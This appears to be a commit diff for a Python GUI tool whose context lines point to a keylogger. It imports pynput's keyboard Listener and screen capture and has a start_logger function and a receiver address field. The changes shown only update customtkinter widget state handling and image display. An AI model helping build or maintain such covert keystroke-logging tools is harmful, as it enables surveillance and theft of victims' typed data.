|
16 | 16 | from urllib.request import urlopen |
17 | 17 |
|
18 | 18 | from PIL import ImageGrab, Image, ImageTk |
19 | | -from customtkinter import CTk, CTkLabel, CTkFrame, CTkEntry, CTkButton, set_appearance_mode |
| 19 | +from customtkinter import CTk, CTkLabel, CTkFrame, CTkEntry, CTkButton, set_appearance_mode, CTkImage |
20 | 20 | from dotenv import load_dotenv |
21 | 21 | from pynput.keyboard import Listener |
22 | 22 |
|
@@ -172,11 +172,14 @@ def start_logger(): |
172 | 172 | def on_button_click(): |
173 | 173 | global state, toAddr, listener, stopFlag, receiver_entry, btnStr |
174 | 174 | toAddr = receiver_entry.get() |
175 | | - if receiver_entry['state'] == 'normal': |
176 | | - receiver_entry['state'] = 'disabled' |
| 175 | + |
| 176 | + current_state = receiver_entry.cget("state") |
| 177 | + |
| 178 | + if current_state == 'normal': |
| 179 | + receiver_entry.configure(state="disabled") |
177 | 180 | btnStr.set("Starting...") |
178 | 181 | else: |
179 | | - receiver_entry['state'] = 'normal' |
| 182 | + receiver_entry.configure(state="normal") |
180 | 183 | btnStr.set("Stopping...") |
181 | 184 | if state == 0: |
182 | 185 | state = 1 |
@@ -212,7 +215,7 @@ def on_button_click(): |
212 | 215 | # Display an image |
213 | 216 | image = Image.open('cracking.png') |
214 | 217 | resize_image = image.resize((300, 300)) |
215 | | -img = ImageTk.PhotoImage(resize_image) |
| 218 | +img = CTkImage(light_image=resize_image, size=(240, 240)) |
216 | 219 | icon = CTkLabel(main_frame, image=img, text="") |
217 | 220 | icon.pack(pady=(20, 0)) |
218 | 221 |
|
|
0 commit comments